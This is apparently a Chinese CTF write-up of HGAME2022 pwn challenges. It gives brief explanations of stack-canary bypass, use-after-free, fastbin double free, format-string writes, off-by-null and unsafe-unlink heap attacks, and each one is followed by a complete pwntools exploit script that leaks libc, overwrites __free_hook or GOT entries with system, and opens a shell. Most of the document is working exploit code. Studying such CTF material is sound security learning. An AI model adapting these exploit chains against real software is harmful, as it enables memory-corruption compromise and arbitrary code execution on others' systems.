HGAME2022_partialPWN
直接进行一手记录,因为 pwn 太菜所以必须好好记录一下。队友也给我好多帮助,感激不尽。
enter_the_evil_pwn_land
看了 chuj 的解法之后才发现 pwn 的工具好丰富,为什么以前我会写的那么艰涩(
很普通的栈溢出,但是要绕过 canary,大致有两种方法,一种是直接覆盖到 TLS 结构体里面的 stack_guard,而 TLS 结构体在栈的高地址处,如果能输入的范围很大,就可以直接覆盖。另外一种就是泄露,格式化字符串等手段。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
binary = ELF('./a.out', checksec=False)
host = ('127.0.0.1', 6666)
libc = ELF('./libc-2.31.so', checksec=False)
rs()
context.arch = 'amd64'
# dbg('set follow-fork-mode child\nb *0x401240')
prdi = 0x401363
test_thread = 0x4011D6
# pay = b'a' * 0x28
# sl(pay)
# ru(b'\n')
# fsbase = uu64(b'\x00' + ru(b'\n'))
# print("***",hex(fsbase))
rop_chain = b''
rop_chain += flat([prdi,binary.got['puts'], binary.plt['puts'], test_thread])
pay = b'a'*0x28 + p64(0)*2
pay += rop_chain
pay = pay.ljust(0x840, b'\x00')
pay += p64(0)*6
sl(pay)
ru(b'\n')
puts = uu64(ru(b'\n'))
print("[*]",hex(puts))
lbase = puts-libc.sym['puts']
system = lbase + libc.sym['system']
binsh = lbase + next(libc.search(b'/bin/sh'))
execve = lbase + libc.sym['execve']
prdx_rcx_rbx = lbase + 0x1056fd
prsi = lbase + 0x27529
print("[*]",hex(prdx_rcx_rbx))
pay = b'a'*0x28 + p64(0)*2
pay += flat([prdi,binsh])
pay += flat([prsi,0])
pay += flat([prdx_rcx_rbx,0,0,0])
pay += p64(execve)
sl(pay)
p.interactive()
oldfashion_note
libc-2.31.so,保护全开
delete 函数存在 UAF,先通过 unsorted bin 泄露 main_arena 进一步泄露 libc 基址。再通过 fastbin attack,在 fastbin 上 double free,然后放入 tcache 进入分配,实现任意地址写。这个漏洞的原因是因为 fastbin 的校验不够严格。
原理如图:
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
ld = ELF('./ld-2.31.so', checksec=False)
def add(idx, sz, data):
sa(b'>> ', b'1')
sa(b'>> ', str(idx).encode('utf-8') )
sa(b'>> ', str(sz).encode('utf-8') )
sa(b'>> ', data )
def delete(idx):
sa(b'>> ', b'3')
sa(b'>> ', str(idx).encode('utf-8'))
def show(idx):
sa(b'>> ', b'2')
sa(b'>> ', str(idx).encode('utf-8'))
def exit():
sa(b'>> ', b'4')
rs()
for i in range(7):
add(i, 0x100, b'show--me')
add(7, 0x100, b'show--me')
add(8, 0x100, b'show--me')
for i in range(7):
delete(i)
delete(7)
dbg()
show(7)
main_arena96 = uu64(r(6))
__malloc_hook_mem = main_arena96-96-0x10
__malloc_hook_libc = libc.sym['__malloc_hook']
lbase = __malloc_hook_mem - __malloc_hook_libc
__free_hook = lbase + libc.sym['__free_hook']
mysystem = lbase + libc.sym['system']
# print("[-]",hex(__malloc_hook_mem))
delete(8)
for i in range(0xE):
add(i, 0x70, b'/bin/sh\x00')
for i in range(0x7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(0x7):
add(i, 0x70, b'/bin/sh\x00')
add(7, 0x70, p64(__free_hook))
# add(7, 0x70, p64(__malloc_hook_mem))
add(8, 0x70, b'/bin/sh\x00')
add(9, 0x70, b'/bin/sh\x00')
print('[-]',hex(mysystem))
add(10, 0x70, p64(mysystem))
# dbg()
delete(0)
# add(11, p64(), )
p.interactive()
echo_server
在堆上的格式化字符串。先通过泄露栈上的数据获得 libc 基址(不管会不会做先泄露了先233)。因为栈上存在有指向栈的指针,通过格式化字符串写数据(指针)到栈上,再把那个指针作为跳板任意地址写。写这道题的时候我多做了好几步骤,高地址没必要写的 :(
# 常用的模板大概是
%[order]$[format]
[addr]%[order]$s
[addr]...pad...%[order]$n
# 这道题是在堆上的,所以用不到,但是这些带来一点灵感
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./echo', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
ld = ELF('./ld-2.31.so', checksec=False)
rs()
# leak lbase
ru(b'your content\'s length:\n>> ')
sl(b'100')
sl(b'%13$p\n%6$p')
__libc_start_main243 = int(ru('\n'),16)
rbp = int(ru('\n'),16)
lbase = __libc_start_main243 - 243 - libc.sym['__libc_start_main']
leak('lbase', lbase)
leak('rbp', rbp)
__free_hook = lbase + libc.sym['__free_hook']
# __free_hook = lbase + libc.sym['__realloc_hook']
mysystem = lbase + libc.sym['system']
leak('mysystem', mysystem)
leak('__free_hook', __free_hook)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format(__free_hook & 0xFFFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x12)&0xFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format((__free_hook >> 16) & 0xFFFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x14)&0xFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hn\x00'.format((__free_hook >> 32) & 0xFFFF).encode()
sl(pay)
# 栈上写入 __free_hook 的地址了
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%6$hhn\x00'.format((rbp+0x10) & 0xFF).encode()
sl(pay)
# 恢复了栈指针的指向
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format(mysystem & 0xFFFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hhn\x00'.format((__free_hook & 0xFF)+2).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format((mysystem >> 16) & 0xFFFF).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%10$hhn\x00'.format((__free_hook & 0xFF)+4).encode()
sl(pay)
sla(b'your content\'s length:\n>> ',b'100')
pay = '%{}c%12$hn\x00'.format((mysystem >> 32) & 0xFFFF).encode()
sl(pay)
# __free_hook 上已经写上了 system
sla(b'your content\'s length:\n>> ',b'100')
pay = b'/bin/sh\x00'
sl(pay)
sla(b'your content\'s length:\n>> ',b'0')
# 最后 free
irt()
size_note
libc-2.27.so,保护也全开了
pt_list[index][read(0, pt_list[index], sz_list[index])] = 0;
存在 off by null,看上去没有 UAF,但是经过操作之后就是基本的 UAF 了。分配三块 unsorted bin,大小得是 0x??8 以使用它的空间复用。通过覆盖使用 最后一块中表示前一块的 size,必须要刚好,在2.27 中存在校验,和 prev_inuse 就可以让对管理器进入合并流程。然后再分割 unsorted bin,把 main_arena96 推进到第二块为被释放的堆上。此时就存在了 UAF 了,接下来就是常用的手段。
具体可以见图。
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so', checksec=False)
ld = ELF('/home/rt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', checksec=False)
def add(index, size, data):
sla(b'>> ', b'1')
sa(b'index?\n>> ', str(index).encode())
sa(b'size?\n>> ' , str(size).encode())
sa(b'content?\n>> ', data)
def show(index):
sla(b'>> ', b'2')
sa(b'index?\n>> ', str(index).encode())
def delete(index):
sla(b'>> ', b'3')
sa(b'index?\n>> ', str(index).encode())
def edit(index, data):
sla(b'>> ', b'4')
sa(b'index?\n>> ', str(index).encode())
s(data)
def exit():
sla(b'>> ', b'5')
rs()
# 0x7f7d4047cca0 (main_arena+96)
add(0, 0xF8, b'aaa')
add(1, 0xF8, b'aaa')
add(2, 0xF8, b'aaa')
for i in range(3,10):
add(i, 0xF8, b'tcache')
add(0x10, 0x20, b'/bin/sh')
for i in range(3,10):
delete(i)
delete(0)
edit(1, 0xF0*b'X'+p64(0x100+0x100))
delete(2)
# 分割 unsorted bin
add(0, 0x70, b'pad')
add(0, 0x70, b'pad')
show(1)
__malloc_hook = uu64(r(6)) - 96 - 0x10
leak('__malloc_hook', __malloc_hook)
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsys = lbase + libc.sym['system']
__free_hook = lbase + libc.sym['__free_hook']
dbg()
for i in range(7):
add(5, 0xF8, '/bin/sh\x00')
add(2,0x60,b'/bin/sh\x00')
delete(1)
edit(2, p64(__free_hook))
add(3, 0x60, b'/bin/sh\x00')
add(3, 0x60, p64(lsys))
delete(5)
irt()
elder_note
libc-2.23.so
fastbin attack,fastbin 的校验不大严格,可以 UAF
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6', checksec=False)
ld = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so', checksec=False)
def add(index, size, data):
sla(b'>> ', b'1')
sla(b'>> ', str(index).encode())
sla(b'>> ', str(size).encode())
sla(b'>> ', data)
def delete(index):
sla(b'>> ', b'3')
sla(b'>> ', str(index).encode())
def show(index):
sla(b'>> ', b'2')
sla(b'>> ', str(index).encode())
rs()
add(0, 0x80, b'unsorted_bin')
add(1, 0x80, b'protected_bin')
delete(0)
show(0)
__malloc_hook = uu64(r(6)) - 88 - 16
leak('__malloc_hook', __malloc_hook)
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsystem = lbase + libc.sym['system']
free_hook = lbase + libc.sym['__free_hook']
realloc = lbase + libc.sym['realloc']
gadget = lbase + 0x4525a
delete(1)
# 复位
# fastbin attack
for i in range(3):
add(i, 0x68, b'fastbin')
add(3, 0x68 , b'guard')
delete(0)
delete(1)
delete(0)
# Arbitrary Alloc
add(4, 0x68, p64(__malloc_hook - 0x1b -0x8))
add(5, 0x68, b'/bin/sh\x00')
add(6, 0x68, b'/bin/sh\x00')
leak('__malloc_hook', __malloc_hook)
leak('lbase', lbase)
leak('system', lsystem)
add(7, 0x68,b'\x00'*(0x13-8) + p64(gadget) + p64(realloc+0x10))
add(1, 30,b'test')
irt()
changeable_note
libc-2.31.so 保护没开好,RELRO ,可以劫持 GOT 表,而且 PIE 也没有开,如果开了(就不知道怎么打了。这题的知识点主要是 unsorted bin unlink,后面我还用到了 off by X,合并了再泄露,但是其实没什么必要,因为一次 unlink 可以覆盖很多指针。
这里我利用 how2heap 中的 unsafe_unlink 把原理画一下
#! /usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./note', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6', checksec=False)
ld = ELF('/home/rt/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so', checksec=False)
def add(index, size, data):
sla(b'>> ', b'1')
sa(b'index?\n>> ', str(index).encode())
sa(b'size?\n>> ' , str(size).encode())
sa(b'content?\n>> ', data)
def edit(index, data):
sla(b'>> ', b'2')
sa(b'index?\n>> ', str(index).encode())
s(data)
def delete(index):
sla(b'>> ', b'3')
sa(b'index?\n>> ', str(index).encode())
def exit():
sla(b'>> ', b'4')
rs()
note = 0x4040C0
add(0, 0x90, b'chunk0')
add(1, 0x90, b'chunk1')
add(0x10, 0x90, b'protected_chunk')
# 构造 fake chunk
pay = p64(0) + p64(0x91) + p64(note-3*8) + p64(note-2*8)
pay = pay.ljust(0x90, b'\x00') + p64(0x90) +p64(0xA0) + b'\n'
edit(0, pay)
# unlink
delete(1)
plt_puts = binary.plt['puts']
got_free = binary.got['free']
leak('plt_puts', plt_puts)
# 实施 unlink 后的指针覆盖
edit(0, p64(0)*3 + p64(got_free) + b'\n')
# edit(0, p64(plt_puts)[:-1] + b'\n')
# delete(0)
# 取关之前的 unsortedbin
add(1, 0x88, b'fake')
add(1, 0x98, b'fake')
# off by one
add(1, 0x88, b'chunk1')
add(2, 0x88, b'chunk2')
add(3, 0x88, b'chunk3')
add(0x10, 0x90, b'protected_chunk')
delete(1)
pay = b'X'*0x80 + p64(0x90 + 0x90) + p8(0x90) + b'\n'
edit(2, pay)
delete(3)
# 推送 main_arena, 这地方不熟,还是选择调试出来的偏移
add(1, 0x80, b'/bin/sh')
# 改变 delete 为 puts
edit(0, p64(plt_puts)[:-1] + b'\n')
delete(2)
__malloc_hook = uu64(r(6)) - 88 - 16
lbase = __malloc_hook - libc.sym['__malloc_hook']
lsystem = lbase + libc.sym['system']
add(2, 0x20, b'/bin/sh')
# 改变 delete 为 system
edit(0, p64(lsystem)[:-1] + b'\n')
delete(2)
irt()
vector
容器扩张导致迭代器失效,这里我可能叙述有问题,没有很仔细的分析。
导致容器中存在两个一样的指针,就可以实现 UAF 了,由于是 libc-2.31.so ,接下来可以直接进行一波 fastbin attack。
#! /usr/bin/python3
from os import system
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg, raw=True)
context.arch = 'amd64'
host = ('127.0.0.1',6666)
binary = ELF('./vector', checksec=False)
libc = ELF('/home/rt/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so', checksec=False)
ld = ELF('/home/rt/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so', checksec=False)
def add(index, size, data):
sla(b'>> ', b'1')
sla(b'>> ', str(index).encode())
sla(b'>> ', str(size).encode())
sa(b'>> ', data)
def edit():
sla(b'>> ', b'2')
def show(index):
sla(b'>> ', b'3')
sla(b'>> ', str(index).encode())
def delete(index):
sla(b'>> ', b'4')
sla(b'>> ', str(index).encode())
def move(ori_index, tar_index):
sla(b'>> ', b'5')
for i in range(ori_index):
sla(b'is this one your want to move? [1/0]\n>> ', b'0')
sla(b'is this one your want to move? [1/0]\n>> ', b'1')
sla(b'which index you want move to?\n>> ', str(tar_index).encode())
rs()
for i in range(8):
add(i, 0x100, b'idx'+str(i).encode()+b'\n')
for i in range(8):
add(i, 0x70, b'idx'+str(i).encode()+b'\n')
for i in range(1, 8):
delete(i)
delete(0)
add(0, 0x50, b'aaaaaaaa')
show(0)
ru(b'aaaaaaaa')
lbase = uu64(r(6).ljust(8, b'\x00')) - libc.sym["__malloc_hook"] - 96- 16 - 0x100
lsystem = lbase + libc.sym['system']
__free_hook = lbase + libc.sym['__free_hook']
leak('lbase', lbase)
for i in range(1, 10):
add(i, 0x70, b'idx:' + str(i).encode() + b'\n')
move(2, 17)
add(10, 0x70, b'idx:10')
for i in range(3, 10):
delete(i)
delete(2)
delete(10)
delete(17)
for i in range(3,10):
add(i, 0x70, b'idx:' + str(i).encode() + b'\n')
dbg()
add(11, 0x70, p64(__free_hook))
add(12, 0x70, b'/bin/sh\x00')
add(13, 0x70, b'/bin/sh\x00')
add(14, 0x70, p64(lsystem))
delete(11)
irt()
还有 final 的题目,mark